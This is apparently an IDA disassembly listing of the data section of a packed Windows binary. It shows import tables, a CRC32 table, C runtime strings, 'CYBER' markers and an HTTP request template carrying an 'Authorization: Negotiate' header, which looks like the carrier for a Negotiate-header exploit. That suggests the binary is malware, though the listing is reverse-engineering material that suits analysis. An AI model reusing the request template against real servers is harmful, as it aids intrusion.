					; sub_41F15C:loc_41F1AFr
dword_423030	dd 77E78406h		; DATA XREF: sub_41EC38+FFr
					; sub_41EC38+166r ...
dword_423034	dd 77E79C3Dh		; DATA XREF: sub_41EC38+158r
					; sub_41EEFD+143r
dword_423038	dd 77E7C931h		; DATA XREF: sub_41EC38+19Dr
dword_42303C	dd 77E77EE1h		; DATA XREF: sub_41EB06+9r
dword_423040	dd 77E67702h		; DATA XREF: sub_41EB06:loc_41EB35r
					; sub_41EB06+E1r
dword_423044	dd 77E7C9E1h		; DATA XREF: sub_41EB06+CEr
dword_423048	dd 77E9C5B1h		; DATA XREF: sub_41EB06+11Fr
dword_42304C	dd 77EB9A84h		; DATA XREF: sub_41E624+138r
dword_423050	dd 77E781F9h		; DATA XREF: sub_41E3D5+42r
					; sub_41E3D5+14Dr ...
dword_423054	dd 77E77405h		; DATA XREF: sub_41E3D5+5Er
					; sub_41E3D5+A7r
dword_423058	dd 77F522F2h		; DATA XREF: sub_41E0F8+21r
dword_42305C	dd 77E6D706h		; DATA XREF: sub_41CB91+215r
					; sub_422371+2Er
dword_423060	dd 77E6C703h		; DATA XREF: sub_41BB27+1Ar
dword_423064	dd 77E75CB5h		; DATA XREF: sub_40111D+DFr
					; sub_401221+7Ar ...
dword_423068	dd 77E77963h		; DATA XREF: sub_40111D+B8r
					; sub_401221+2D8r ...
dword_42306C	dd 77E61BB8h		; DATA XREF: sub_40111D+A7r
					; sub_401221+2C0r ...
dword_423070	dd 77E7A099h		; DATA XREF: sub_40111D+83r
					; sub_401221+DAr ...
dword_423074	dd 77E704FCh		; DATA XREF: sub_40111D+74r
					; sub_401221+C4r ...
dword_423078	dd 77E61BE6h		; DATA XREF: sub_40111D+29r
					; sub_401221+1F1r ...
dword_42307C	dd 77E7AC37h		; DATA XREF: sub_401221+3BBr
					; sub_401AC7+1ADEr ...
dword_423080	dd 77E73628h		; DATA XREF: sub_401221+338r
					; sub_401AC7+6A78r ...
dword_423084	dd 77E706B7h		; DATA XREF: sub_401221+271r
					; sub_41671A+B9r ...
dword_423088	dd 77E80656h		; DATA XREF: sub_401221+264r
dword_42308C	dd 77F5157Dh		; DATA XREF: sub_401221+1D5r
					; sub_401221+3E0r ...
dword_423090	dd 77E6BD13h		; DATA XREF: sub_401221:loc_4013D9r
dword_423094	dd 77E70396h		; DATA XREF: sub_401221+1B2r
					; sub_401221+21Er ...
dword_423098	dd 77E74CABh		; DATA XREF: sub_401221+19Br
					; sub_40E7B9+110r ...
dword_42309C	dd 77E79F93h		; DATA XREF: sub_401221+D3r
					; sub_408CF8+2r ...
dword_4230A0	dd 77E79D5Bh		; DATA XREF: sub_401221+6Br
					; sub_401221+30Er ...
dword_4230A4	dd 77E7C2C4h		; DATA XREF: sub_401221+64r
dword_4230A8	dd 77E7751Ah		; DATA XREF: sub_401221+2Cr
					; sub_401AC7+20B0r ...
dword_4230AC	dd 77E75CEBh		; DATA XREF: sub_401AC7+6CE3r
					; sub_40A33E+2Br ...
dword_4230B0	dd 77E6AD34h		; DATA XREF: sub_401AC7+5FBDr
					; sub_41542E+35r
dword_4230B4	dd 77E71AFEh		; DATA XREF: sub_401AC7+5E98r
dword_4230B8	dd 77E805D8h		; DATA XREF: sub_408CF8+13Ar
					; sub_408CF8:loc_4091ACr ...
dword_4230BC	dd 77E7A5FDh		; DATA XREF: sub_408CF8+11r
					; sub_415679+6Br ...
dword_4230C0	dd 77E65F4Ch		; DATA XREF: .nsp0:00409F03r
					; sub_4165F1+34r
dword_4230C4	dd 77E7513Ch		; DATA XREF: .nsp0:00409F9Ar
dword_4230C8	dd 77E7C657h		; DATA XREF: .nsp0:0040A00Er
					; sub_4155B6+32r ...
dword_4230CC	dd 77E73C49h		; DATA XREF: sub_40A26E+4Ar
					; sub_40A9AA+1ABr ...
dword_4230D0	dd 77F7E300h		; DATA XREF: sub_40B229+13Fr
dword_4230D4	dd 77F7E21Fh		; DATA XREF: sub_40B229+D4r
dword_4230D8	dd 77E7C706h		; DATA XREF: sub_40B43D+77r
dword_4230DC	dd 77F53275h		; DATA XREF: sub_40B43D+6Br
					; sub_40B43D+22Fr
dword_4230E0	dd 77E79D8Ch		; DATA XREF: sub_40C9B7+94r
					; sub_40CAA5+181r ...
dword_4230E4	dd 77E737DEh		; DATA XREF: sub_40CAA5+43Ar
dword_4230E8	dd 77E78B82h		; DATA XREF: sub_40CAA5+1A9r
					; sub_40CAA5+499r ...
dword_4230EC	dd 77E7A837h		; DATA XREF: sub_40CAA5+A7r
					; sub_40E7B9+1C4r ...
dword_4230F0	dd 77E616B4h		; DATA XREF: sub_40D60D+19Br
					; sub_40FDCD+115r ...
dword_4230F4	dd 77E79CE3h		; DATA XREF: sub_40D60D+111r
					; sub_410017+77r ...
dword_4230F8	dd 77E79C90h		; DATA XREF: sub_40D60D+FDr
					; sub_40D60D+10Ar ...
dword_4230FC	dd 77E7727Ah		; DATA XREF: sub_40D60D+74r
					; sub_40FF1E+23r ...
dword_423100	dd 77E64106h		; DATA XREF: sub_40E637+9Fr
					; sub_417368+1B6r
dword_423104	dd 77E64006h		; DATA XREF: sub_40E637+8Br
					; sub_417368+19Fr
dword_423108	dd 77E793EFh		; DATA XREF: sub_40E7B9+1EEr
					; sub_40F0EB+38r
dword_42310C	dd 77E78EAAh		; DATA XREF: sub_40EA69+5E8r
dword_423110	dd 77E794BFh		; DATA XREF: sub_40EA69+26Dr
dword_423114	dd 77E75E67h		; DATA XREF: sub_40EA69+20Dr
					; sub_40EA69+5D7r
dword_423118	dd 77E75D9Eh		; DATA XREF: sub_40EA69+1FCr
dword_42311C	dd 77E78C81h		; DATA XREF: sub_40F0EB+6Cr
					; sub_41E1E3+4Fr
dword_423120	dd 77E76968h		; DATA XREF: sub_40FB45+5Fr
dword_423124	dd 77E74C59h		; DATA XREF: sub_40FDCD+C7r
dword_423128	dd 77EC7C51h		; DATA XREF: sub_4101A2+5Er
dword_42312C	dd 77E802FCh		; DATA XREF: sub_4114BF+18Cr
					; sub_4114BF+2D4r ...
dword_423130	dd 77E6D75Bh		; DATA XREF: sub_4114BF+182r
					; sub_41221C+FFr
dword_423134	dd 77E70F89h		; DATA XREF: sub_413B5E+Dr
					; sub_419581+Dr
dword_423138	dd 77E76A60h		; DATA XREF: sub_415221+2Dr
dword_42313C	dd 77E71B14h		; DATA XREF: sub_4152AB+26r
dword_423140	dd 77E7166Fh		; DATA XREF: sub_4152AB+1Dr
dword_423144	dd 77E75090h		; DATA XREF: sub_4152E6+69r
dword_423148	dd 77E74D76h		; DATA XREF: sub_4152E6+36r
dword_42314C	dd 77E77797h		; DATA XREF: sub_4152E6+25r
dword_423150	dd 77E7011Ah		; DATA XREF: sub_415368+96r
dword_423154	dd 77E73CE2h		; DATA XREF: sub_415368+60r
dword_423158	dd 77E668D9h		; DATA XREF: sub_41542E+15Dr
dword_42315C	dd 77E80618h		; DATA XREF: sub_415679+D4r
dword_423160	dd 77E79924h		; DATA XREF: sub_41E3D5+20Dr
					; sub_41EB06+7Er ...
dword_423164	dd 77E77CCEh		; DATA XREF: sub_415CA4+Fr
					; sub_419B84+54r ...
dword_423168	dd 77E76A2Eh		; DATA XREF: sub_41671A+DEr
dword_42316C	dd 77E7FF65h		; DATA XREF: sub_416B6D+5Ar
dword_423170	dd 77EB7624h		; DATA XREF: sub_416B6D+3Dr
dword_423174	dd 77E76C1Ah		; DATA XREF: sub_417368+1CFr
dword_423178	dd 77F51597h		; DATA XREF: sub_4177C1+27r
					; sub_41A052+2C4r ...
dword_42317C	dd 77F5722Fh		; DATA XREF: sub_4178D8+F0r
					; sub_41A686+28r
dword_423180	dd 77F516F8h		; DATA XREF: sub_4178D8+AFr
					; sub_417A69+2Er ...
dword_423184	dd 77F6183Eh		; DATA XREF: sub_422274r
dword_423188	dd 77E76E3Dh		; DATA XREF: sub_419581+6Cr
					; sub_4202CC+38r
dword_42318C	dd 77E61608h		; DATA XREF: sub_419581+17r
dword_423190	dd 77E6177Ah		; DATA XREF: sub_419C83+9Fr
					; sub_41EC38+59r
dword_423194	dd 77E7C938h		; DATA XREF: sub_419C83+74r
dword_423198	dd 77E7C486h		; DATA XREF: sub_419C83+26r
dword_42319C	dd 77E76E0Bh		; DATA XREF: sub_419FAD+2Fr
dword_4231A0	dd 77E7C726h		; DATA XREF: sub_419FAD+11r
dword_4231A4	dd 77E79E34h		; DATA XREF: sub_41A052+23Fr
dword_4231A8	dd 77E7980Ah		; DATA XREF: sub_41A686+76r
					; sub_41A737+51r
dword_4231AC	dd 77E73196h		; DATA XREF: sub_42026C+Cr
dword_4231B0	dd 77E7849Fh		; DATA XREF: sub_41B98E+48r
					; sub_41BBCD+14r ...
dword_4231B4	dd 77E7A13Fh		; DATA XREF: sub_41BB27+2Fr
		dd 0
dword_4231BC	dd 71B2ACCBh		; DATA XREF: sub_422268r
		dd 0
dword_4231C4	dd 71AB4122h		; DATA XREF: sub_4134F7+D4r
dword_4231C8	dd 71AB1746h		; DATA XREF: sub_41101A+1DEr
dword_4231CC	dd 71AB401Ch		; DATA XREF: sub_41101A+21Br
					; sub_41101A+243r
dword_4231D0	dd 71AB1836h		; DATA XREF: sub_40E0C5+6Er
					; sub_40E142+8Er
dword_4231D4	dd 71AB41DAh		; DATA XREF: sub_40DA9B+4Ar
					; sub_40E0C5+15r
dword_4231D8	dd 71AB3F8Dh		; DATA XREF: sub_40DA9B+5Ar
dword_4231DC	dd 71AB155Ah		; DATA XREF: sub_40DA9B+8Dr
					; sub_412079+70r ...
dword_4231E0	dd 71AB3ECEh		; DATA XREF: sub_40DA9B+B5r
dword_4231E4	dd 71AB5DE2h		; DATA XREF: sub_40DA9B+C9r
dword_4231E8	dd 71AB868Dh		; DATA XREF: sub_40DA9B+171r
dword_4231EC	dd 71AB5A01h		; DATA XREF: sub_4135E0+20r
dword_4231F0	dd 71AB12F8h		; DATA XREF: sub_40CFAA+27r
					; sub_40D0EC+27r ...
dword_4231F4	dd 71AB1746h		; DATA XREF: sub_40CFAA+36r
					; sub_40D0EC+36r ...
dword_4231F8	dd 71AB3E5Dh		; DATA XREF: sub_40CFAA+59r
					; sub_40D0EC+59r ...
dword_4231FC	dd 71AB5690h		; DATA XREF: sub_40CFAA+6Ar
					; sub_40D0EC+6Ar ...
dword_423200	dd 71AB1A6Dh		; DATA XREF: sub_40CFAA+E0r
					; sub_40D0EC+E0r ...
dword_423204	dd 71AB3C22h		; DATA XREF: .nsp0:0040C493r
					; sub_40CFAA+45r ...
dword_423208	dd 71AB1AF4h		; DATA XREF: sub_40C0DF+12r
					; sub_40CFAA+C3r ...
dword_42320C	dd 71AB1890h		; DATA XREF: sub_40BF41+4Cr
					; sub_40DA9B+106r
dword_423210	dd 71AB1B7Bh		; DATA XREF: sub_42226Er
dword_423214	dd 71AB157Eh		; DATA XREF: sub_401AC7+2A0Fr
		align 10h
dword_423220	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: sub_401AC7+2EEFo
					; sub_401AC7+2FD2o ...
		align 4
aCyber_0	db 'CYBER',0            ; DATA XREF: sub_401AC7+32F6o
					; sub_401AC7+3332o ...
		align 10h
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40C31F+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_423670	dq 1.388888888888889e-2	; DATA XREF: sub_40C131+2Fr
dbl_423678	dq 1.666666666666667e-1	; DATA XREF: sub_40C131+15r
dword_423680	dd 0FFFFFFFFh		; DATA XREF: sub_40C17D+16Fr
					; sub_40C5BBr ...
		align 8
dbl_423688	dq 1.333333333333333	; DATA XREF: sub_40C17D+79r
dword_423690	dd 0			; DATA XREF: sub_40C31F+4Do
					; sub_40C66B+5Bo ...
flt_423694	dd 5.0e-1		; DATA XREF: sub_40CAA5+398r
dbl_423698	dq 9.765625e-4		; DATA XREF: sub_413F23+2BDr
					; sub_413F23+2D8r ...
dbl_4236A0	dq -1.52587890625e-4	; DATA XREF: sub_414BB2+3E5r
dbl_4236A8	dq 3.0517578125e-4	; DATA XREF: sub_414BB2+3C5r
dbl_4236B0	dq -3.0517578125e-4	; DATA XREF: sub_414BB2+342r
					; sub_414BB2+3A7r
dbl_4236B8	dq 1.52587890625e-4	; DATA XREF: sub_414BB2+271r
dbl_4236C0	dq -1.739501953125e-3	; DATA XREF: sub_414BB2+24Br
					; sub_414BB2+2D5r ...
dbl_4236C8	dq 3.11279296875e-3	; DATA XREF: sub_414BB2+E1r
dbl_4236D0	dq 3.0517578125e-5	; DATA XREF: sub_414BB2+AEr
					; sub_414BB2+138r ...
dbl_4236D8	dq 6.103515625e-5	; DATA XREF: sub_414BB2+93r
					; sub_414BB2+308r
dbl_4236E0	dq 2.288818359375e-3	; DATA XREF: sub_414BB2+21r
dbl_4236E8	dq -3.0517578125e-5	; DATA XREF: sub_415759+2Br
flt_4236F0	dd 9.765625e-4		; DATA XREF: sub_416E91+1AEr
flt_4236F4	dd 8.0			; DATA XREF: sub_416E91+1A8r
					; sub_41B184+4Ar
flt_4236F8	dd 0.0			; DATA XREF: sub_416E91+16Fr
flt_4236FC	dd 1.0e-3		; DATA XREF: sub_416E91+166r
dbl_423700	dq 1.0			; DATA XREF: sub_418B79+6Cr
					; sub_418CBF+6Cr ...
dword_423708	dd 0FFFFFFFFh, 419D5Ah,	419D6Eh	; DATA XREF: sub_419C83+5o
byte_423714	db 6			; DATA XREF: sub_41B184:loc_41B1DBr
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: .nsp0:off_43AD9Co
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: .nsp0:off_43AD98o
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: .nsp0:off_43B014o
		align 10h
dbl_423840	dq 0.0			; DATA XREF: sub_41CE44+8Cr
					; sub_41CE44+ACr ...
dbl_423848	dq 4.195835e6		; DATA XREF: sub_41D359+Fr
dbl_423850	dq 3.145727e6		; DATA XREF: sub_41D359+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41D397+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_41D397o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_41D4BE+93o
		align 4
dword_423888	dd 0FFFFFFFFh, 41DBA9h,	41DBB3h, 0 ; DATA XREF:	sub_41DB42+5o
dword_423898	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41DC71+5o
		dd offset loc_41DD2F
		align 8
		dd offset sub_41DD0D
		dd offset sub_41DD17
dword_4238B0	dd 0FFFFFFFFh, 41DF5Fh,	41DF63h, 0 ; DATA XREF:	sub_41DDA7+5o
dword_4238C0	dd 0FFFFFFFFh, 41DFC1h,	41DFCAh, 0 ; DATA XREF:	sub_41DF6B+5o
dword_4238D0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41E04C+5o
		dd offset loc_41E09D
		align 10h
		dd offset loc_41E089
		dd offset loc_41E08D
dword_4238E8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41E0A2+5o
		dd offset loc_41E0F3
		align 8
		dd offset loc_41E0DF
		dd offset loc_41E0E3
dword_423900	dd 2 dup(0)		; DATA XREF: sub_41E3D5+36o
					; sub_41F7CD+39o ...
dword_423908	dd 0FFFFFFFFh, 41E4E5h,	41E4E9h, 0FFFFFFFFh, 41E599h, 41E59Dh
					; DATA XREF: sub_41E3D5+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .nsp0:off_43B1ECo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41EEFD+119o
		align 10h
asc_423BD0	db 0Ah			; DATA XREF: sub_41EEFD+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41EEFD+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_41EEFD+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41EEFD+7Do
		align 10h
dword_423C10	dd 0FFFFFFFFh, 41F8C6h,	41F8CAh	; DATA XREF: sub_41F7CD+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4202CC+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_420858+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_420858+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_420858+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_42116E:loc_421263o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_42116E+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_42116E+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_42116E+ADo
		align 10h
dword_423CB0	dd 0FFFFFFFFh, 421B66h,	421B6Ah, 0FFFFFFFFh, 421BD5h, 421BD9h
					; DATA XREF: sub_4219AF+5o
		dd 423DD0h
off_423CCC	dd offset loc_422108	; DATA XREF: sub_421F10+4Do
					; sub_422124+Co
		dd offset sub_421FCE
; ---------------------------------------------------------------------------
		jmp	short loc_423CF6
; ---------------------------------------------------------------------------
		dw 42h
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_421F10+1Eo
		dd offset dword_423E08
off_423CEC	dd offset loc_422035	; DATA XREF: sub_421F6A+4Eo
					; sub_421FF8+11o ...
		dd offset sub_421FCE
; ---------------------------------------------------------------------------
		fistp	dword ptr [edi]


loc_423CF6:				; CODE XREF: .nsp0:00423CD4j
		inc	edx
		add	[eax+3Eh], bl
		inc	edx
; ---------------------------------------------------------------------------
		db 0
off_423CFC	dd offset loc_4221F0	; DATA XREF: sub_42213C+4Do
					; sub_42220C+Co
		dd offset sub_421FCE
		dd offset sub_4221D3
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_42213C+1Eo
		dd offset dword_423E88
off_423D24	dd offset sub_42227A	; DATA XREF: sub_422296+8o
					; sub_4222D3+8o ...
		dd offset sub_422333
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_422333+7o
		align 10h
		dd offset dword_423ED0
off_423D44	dd offset loc_422355	; DATA XREF: sub_422340o
					; .nsp0:off_43B918o ...
dword_423D48	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_422371+Eo
		dd 3, 19930520h, 2 dup(0)
off_423D68	dd offset off_43B918	; DATA XREF: .nsp0:00423DB8o
					; .nsp0:00423DECo ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_423D80	dd offset off_43B930	; DATA XREF: .nsp0:00423DB4o
					; .nsp0:00423DE8o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_423D98	dd offset off_43B950	; DATA XREF: .nsp0:00423DB0o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_423D98
		dd offset off_423D80
		dd offset off_423D68
dword_423DBC	dd 3 dup(0)		; DATA XREF: .nsp0:00423DE0o
		dd 3, 423DB0h, 3 dup(0)
		dd offset off_43B950
		dd offset dword_423DBC+4
		align 8
		dd offset off_423D80
		dd offset off_423D68
dword_423DF0	dd 4 dup(0)		; DATA XREF: .nsp0:00423E18o
		dd 2, 423DE8h
dword_423E08	dd 3 dup(0)		; DATA XREF: .nsp0:00423CE8o
		dd offset off_43B930
		dd offset dword_423DF0+8
		align 10h
off_423E20	dd offset off_43B970	; DATA XREF: .nsp0:00423E38o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_423E20
		dd offset off_423D80
		dd offset off_423D68
		dd 0
		db    0			; DATA XREF: .nsp0:00423E68o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 423E38h, 3 dup(0)
		dd offset off_43B970
		dd offset unk_423E48
		dd offset off_423D68
dword_423E70	dd 4 dup(0)		; DATA XREF: .nsp0:00423E98o
		dd 1, 423E6Ch
dword_423E88	dd 3 dup(0)		; DATA XREF: .nsp0:00423D20o
		dd offset off_43B918
		dd offset dword_423E70+8
		dd 0
off_423EA0	dd offset off_43B990	; DATA XREF: .nsp0:00423EB8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_423EA0
dword_423EBC	dd 3 dup(0)		; DATA XREF: .nsp0:00423EE0o
		dd 1, 423EB8h
dword_423ED0	dd 3 dup(0)		; DATA XREF: .nsp0:00423D40o
		dd offset off_43B990
		dd offset dword_423EBC+4
		align 8
dword_423EE8	dd 19930520h, 2, 423F08h, 5 dup(0) ; DATA XREF:	.nsp0:loc_4223CBo
		dd 0FFFFFFFFh, 4223B4h,	0
		dd offset sub_4223AC
dword_423F18	dd 19930520h, 2, 423F38h, 5 dup(0) ; DATA XREF:	.nsp0:loc_4223E8o
		dd 0FFFFFFFFh, 4223D8h,	0
		dd offset loc_4223E0
dword_423F48	dd 19930520h, 2, 423F68h, 1, 423F78h, 3	dup(0)
					; DATA XREF: .nsp0:loc_4223F4o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 423F90h, 4	dup(0)
		dd offset loc_40C8D5
		dd 0
		dd offset off_43B918
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	4222D3h, 2 dup(0)
		dd offset off_43B930
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	422051h, 2 dup(0)
		dd offset off_43B950
		dd 0
		dd 0FFFFFFFFh, 0
